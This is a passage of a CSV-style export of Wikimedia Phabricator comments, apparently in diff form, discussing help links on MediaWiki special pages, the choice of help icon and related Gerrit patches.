+[[https://gerrit.wikimedia.org/r/208378]]",,,1431686573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,97,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+452844,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 208378 had a related patch set uploaded (by Nemo bis):
+Allow to customise addHelpLink() target via system message
+
+[[https://gerrit.wikimedia.org/r/208378]]
+",,,1430566779,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,95,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+449251,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1231734, @Multichill wrote:
+> Already disabled on dewp (https://de.wikipedia.org/w/index.php?title=MediaWiki%3ACommon.css&diff=140838650&oldid=140486784). 
+
+And i am inclined to switch this of on commons... It is not helpful. It is not linking to the commons policy's, but to some MW page.
+
+",,,1430042303,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,94,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1
+448313,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Just had a look at http://git.wikimedia.org/blob/mediawiki%2Fcore.git/0a33db75cb2afd0879512b7a3cc2ec5b63d9ae5e/includes%2FOutputPage.php#L1408 . Hardcoded url? No message? Are you serious?
+
+Already disabled on dewp (https://de.wikipedia.org/w/index.php?title=MediaWiki%3ACommon.css&diff=140838650&oldid=140486784). 
+
+Including some help is a good idea, but the implementation should be improved so that the url is not hardcoded.",,,1429810113,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,94,,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+447625,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1139342, @Nemo_bis wrote:
+>>>! In T45591#1139318, @matmarex wrote:
+>> Outstanding patches:
+>> * https://gerrit.wikimedia.org/r/#/c/194418/ ""[WIP] Add link to Meta-Wiki help pages from several special pages""
+> 
+> This is the one which needs most discussion/help.
+
+The pages in question are:
+* https://meta.wikimedia.org/wiki/Help:User_contributions
+* https://meta.wikimedia.org/wiki/Help:Export
+* https://meta.wikimedia.org/wiki/Help:Import
+* https://meta.wikimedia.org/wiki/Help:Linksearch
+* https://meta.wikimedia.org/wiki/Special:MyLanguage/Help:Recent_changes
+* https://meta.wikimedia.org/wiki/Help:Related_changes
+* https://meta.wikimedia.org/wiki/Help:Watching_pages
+* https://meta.wikimedia.org/wiki/Help:What_links_here",,,1429700039,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,94,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,1,1
+447622,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",https://commons.wikimedia.org/wiki/Commons:Village_pump#Help_topicons_linking_to_external_help_pages_soon_displayed_everywhere.3F,,,1429699178,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,94,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+440866,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",Thanks Legoktm! If there is interest in a backport I can work on https://gerrit.wikimedia.org/r/#/c/194418/ this week.,,,1428562052,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,92,,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+440769,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 202968 merged by jenkins-bot:
+Add help link to three rather important pages
+
+[[https://gerrit.wikimedia.org/r/202968]]",,,1428541016,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,92,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+440758,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 202968 had a related patch set uploaded (by Legoktm):
+Add help link to three rather important pages
+
+[[https://gerrit.wikimedia.org/r/202968]]
+",,,1428540221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,92,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+440753,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194414 merged by jenkins-bot:
+Add help link to three rather important pages
+
+[[https://gerrit.wikimedia.org/r/194414]]",,,1428540082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,92,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+434452,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1159175, @PerfektesChaos wrote:
+> Local confguration needs more emphasis.
+> * At least a system message should be taken into account by the implementation.
+
+This is valid point which can have it's own task.
+
+> * Icons might be cultural dependant (CJK, arabic, hebrew) and should be configurable per system message – a greek question mark is a semicolon.
+
+This can also be a separate task. We already do localised images in couple of places. I do disagree though that it needs to be configurable per system message.
+
+> Rather than maintaining system messages for each page by each project, a wikifarm with a wikibase could make use of that knowledge. (Okay, WMF might be the only one, but is among the top ten websites)
+
+This can already be achieved with the approach WikimediaMessages is using if we implement overrides with system messages.
+
+> I would like to see in CommonSettings.php something like
+
+Your proposal sounds very complicated, we already have standard way to handle these as explained above.
+
+> I wonder whether the entire helppage link business should stay in core or should be turned into an extension.
+
+It was just moved to core so that each extension does not implement a different way to do it. Definitely not to be moved to an extension.
+",,,1427541261,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,90,,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1
+434442,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","This is an interesting feature for small WMF wikis and external sites, but would confuse users on wikis with well equipped user guidance (e.g. English or German Wikipedia).
+* Most confusing are two offers, which might happen in German Wikipedia right now.
+* Local pages often provide local policies (deletion!) and specific links to related project pages which cannot be achieved with a world wide non-WMF general explanation.
+* https://www.wikidata.org/wiki/Q395887 shows present local support just for one issue. I count 60 existing local pages. (The 61st would be: mw:Help:Moving_a_page)
+
+Local confguration needs more emphasis.
+* At least a system message should be taken into account by the implementation.
+* Icons might be cultural dependant (CJK, arabic, hebrew) and should be configurable per system message – a greek question mark is a semicolon.
+
+Rather than maintaining system messages for each page by each project, a wikifarm with a wikibase could make use of that knowledge. (Okay, WMF might be the only one, but is among the top ten websites)
+
+I would like to see in CommonSettings.php something like
+  $wgHelpPages = array()
+That may be used explicitly to hard-code page links by any other site.
+
+However, one entry could look like
+  $wgHelpPages['special-movepage']['item'] = 395887;
+
+For performance reasons evaluation of the wikibase item is probably not desirable each time a special page is requested by readers.
+* Every 24h or once a week that array might be populated and refreshed like:
+```
+  lang=php
+  $wgHelpPages['special-movepage']['pages'] = array(
+            'alswiki' => 'Hilfe:Artikel verschieben',
+            'dewiki' => 'Hilfe:Seite verschieben',
+            'enwiki' => 'Wikipedia:Moving a page',
+            ...
+```
+* Time scheduling and triggering the update might be controlled by something like
+```
+  $wgHelpPages['UpdateInterval'] = 24;
+```
+* The same entries might be provided manually by external sites which happen to have their own guidance, but no wikibase and no update service.
+I wonder whether the entire helppage link business should stay in core or should be turned into an extension.
+* A (help/any) page mapping and linking mechanism might be used in many fields, not only with special pages.
+* Various configurations done with system message today might migrate towards wikibase in the future.
+* The MW TemplateData gadget e.g. could be equipped by https://www.wikidata.org/wiki/Q14505594 rather than [[MediaWiki:templatedata-helplink-target]].
+",,,1427533210,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,90,,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+430583,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1139318, @matmarex wrote:
+> Outstanding patches:
+> * https://gerrit.wikimedia.org/r/#/c/194418/ ""[WIP] Add link to Meta-Wiki help pages from several special pages""
+
+This is the one which needs most discussion/help. MediaWiki help pages can't lack coverage of RecentChanges and Watchlist... either they are rewritten on MediaWiki.org or we should change the rules to adopt/incorporate Meta-Wiki docs.",,,1427048506,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,1,1
+430579,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Outstanding patches:
+* https://gerrit.wikimedia.org/r/#/c/194418/ ""[WIP] Add link to Meta-Wiki help pages from several special pages""
+* https://gerrit.wikimedia.org/r/#/c/194414/ ""Add help link to three rather important pages""",,,1427047744,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+430527,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1129825, @Spage wrote:
+> FWIW the icon is reachable, https://bits.wikimedia.org/static-1.25wmf21/resources/lib/oojs-ui/themes/mediawiki/images/icons/help.svg, so `url(../../lib/oojs-ui/themes/mediawiki/images/icons/help.svg)` works. I guess there's no cleaner path to library resources.
+
+True, but we were never doing that in the past (I think we even have duplicate copies of some files used in mediawiki/core, in different directories). We never had `url(…)` paths that refer to parent directory, and I think we should keep it this way, easier to figure out what depends on what.
+
+
+>> as the work on making the icons available has stalled a bit.
+> ?  They're all available if you use OOjs UI ([[ https://tools.wmflabs.org/oojs-ui/oojs-ui/demos/#icons-mediawiki-vector-ltr | cool demo ]]). If we're making them available to non-OOjs UI code I look forward to documenting how-to.
+
+Yes. From T92551: ""Map to .mw-icon-<whatever> classes in addition to .oo-ui-icon-<whatever>"".
+
+>>! In T45591#1134815, @Nemo_bis wrote:
+> * Personally I prefer a more ""standard"" (i.e. common) blue, but it doesn't matter.
+> * VE is not ""standard"", both are icons taken from extensions and [[https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/410|made by WMF]].
+
+OOjs UI's icons are supposed to become ""MediaWiki UI"" icons, and thus be pronounced //the// standard ones. There are bumps along the way because the OOjs UI team (subset of WMF Editing) and the MediaWiki UI team (subset of WMF Design) have been disagreeing about which icons should be a part of this set, and how they should be drawn. You can see the current status at https://tools.wmflabs.org/oojs-ui/oojs-ui/demos/#icons-mediawiki-vector-ltr – this has both the old OOjs UI icons (known from VisualEditor) and the new MediaWiki UI icons (known from Flow), and it is quite obvious that these are separate sets. (The 'help' icons comes from the old set, since for some reason it was not considered for including in the new one.) The current status is that Trevor is ~~beating some sens~~working with the designers to iron it out.",,,1427025201,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+430390,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 197667 merged by jenkins-bot:
+mediawiki.helplink: Use a SVG PNG icon
+
+[[https://gerrit.wikimedia.org/r/197667]]",,,1426960241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+429670,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","One small question on https://gerrit.wikimedia.org/r/#/c/197667/2
+
+FWIW, aside trivia:
+* There's also a SVG version of the current help.png, but it's not a native one (014b5632fcc6a4200d519cf7f86e94c09639af8f).
+* Personally I prefer a more ""standard"" (i.e. common) blue, but it doesn't matter.
+* VE is not ""standard"", both are icons taken from extensions and [[https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/410|made by WMF]].",,,1426843326,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+429668,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","One small question on https://gerrit.wikimedia.org/r/#/c/197667/2
+
+FWIW, aside trivia:
+* There's also a SVG version of the current help.png, but it's not a native one.
+* Personally I prefer a more ""standard"" (i.e. common) blue, but it doesn't matter.
+* VE is not ""standard"", both are icons taken from extensions and [[https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/410|made by WMF]].",,,1426843280,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,89,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+428665,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1104151, @matmarex wrote:
+> Indeed, it seems that a ""Help"" icon was not considered for the new icon set.
+That's {T90414}
+
+> VisualEditor / OOjs UI has a icon for this, though: {F72837,size=full,layout=inline}. If you need it now, the file will have to be just copied into mediawiki/core,
+
+FWIW the icon is reachable, https://bits.wikimedia.org/static-1.25wmf21/resources/lib/oojs-ui/themes/mediawiki/images/icons/help.svg, so `url(../../lib/oojs-ui/themes/mediawiki/images/icons/help.svg)` works. I guess there's no cleaner path to library resources.
+
+> as the work on making the icons available has stalled a bit.
+?  They're all available if you use OOjs UI ([[ https://tools.wmflabs.org/oojs-ui/oojs-ui/demos/#icons-mediawiki-vector-ltr | cool demo ]]). If we're making them available to non-OOjs UI code I look forward to documenting how-to.",,,1426705079,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,89,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+428563,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 197667 had a related patch set uploaded (by Bartosz Dziewoński):
+mediawiki.helplink: Use standard SVG PNG icon
+
+[[https://gerrit.wikimedia.org/r/197667]]
+",,,1426699777,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+428418,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194411 merged by jenkins-bot:
+Add help link to three other ""minor"" special pages
+
+[[https://gerrit.wikimedia.org/r/194411]]",,,1426689800,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+423856,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1103929, @matmarex wrote:
+>>>! In T45591#1102455, @Krinkle wrote:
+>> I imagine if this is not changed it will need to be reverted and further worked upon for the next deployment window.
+> 
+> That strikes me as somewhat of an overreaction.
+
+It needs improvement before deployment. It wasn't my feature to implement and would not have been merged as-is in that case. As such, a revert is just returning status quo and enforcing quality criteria.",,,1425998891,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,1
+423785,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Indeed, it seems that a ""Help"" icon was not considered for the new icon set.
+
+VisualEditor / OOjs UI has a icon for this, though: {F72837,size=full,layout=inline}
+
+https://tools.wmflabs.org/oojs-ui/oojs-ui/dist/themes/mediawiki/images/icons/help.svg
+https://tools.wmflabs.org/oojs-ui/oojs-ui/dist/themes/mediawiki/images/icons/help.png
+
+Presumably that could be used. If you need it now, the file will have to be just copied into mediawiki/core, as the work on making the icons available has stalled a bit. (It is MIT-licensed, like the rest of OOjs UI.)",,,1425991017,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+423783,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Are you talking about the blue ""?"" for 'help'?
+
+For what is worth, WikiFont has an icon from @violetto called [[ https://commons.wikimedia.org/wiki/File:Sun_help.svg | Sun help ]]. I couldn't find any incon with ""?"" in the collection.
+
+Needless to say, in Commons there are many SVGs of question mark signs in a blue circle, but... See https://commons.wikimedia.org/wiki/File:Blue_question_mark_icon.svg & friends.",,,1425990691,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,88,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+423767,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I agree the icon needs to be improved. Do you have suggestions for a SVG-ready icon to use?
+
+That's the icon closest to a ""standard"" that we currently have in the codebase for this purpose: it's used in a MediaWiki extension already, for several special pages. We must improve it before we extend its usage to more visible places, of course.",,,1425988211,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,1,1,0
+423718,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1102455, @Krinkle wrote:
+> I imagine if this is not changed it will need to be reverted and further worked upon for the next deployment window.
+
+That strikes me as somewhat of an overreaction. If the icon irks you, then it's a one-line change to remove it. It would be almost as easy to replace it with a different one, too.",,,1425983414,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1
+423557,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1088866, @gerritbot wrote:
+> Change 157497 merged by jenkins-bot:
+> Add top help link to MediaWiki.org in several pages via indicator
+> 
+> [[https://gerrit.wikimedia.org/r/157497]]
+
+This uses a non-standard icon that doesn't match the any skin and did not go through Design. It also does not have an SVG or High-resolution version available. Thus regressing from our state of having HiDPI-friendly pages by default.
+
+The icon would be okay for a local gadget, but not MediaWiki core.
+
+I don't know further context, but I imagine if this is not changed it will need to be reverted and further worked upon for the next deployment window.",,,1425947370,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,88,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+422703,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 195045 merged by jenkins-bot:
+Don't require JavaScript for addHelpLink styles
+
+[[https://gerrit.wikimedia.org/r/195045]]",,,1425752905,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+422694,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 195045 had a related patch set uploaded (by Nemo bis):
+Don't require JavaScript for addHelpLink styles
+
+[[https://gerrit.wikimedia.org/r/195045]]
+",,,1425749895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+422382,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Switching order needs to be checked for each call in core.
+
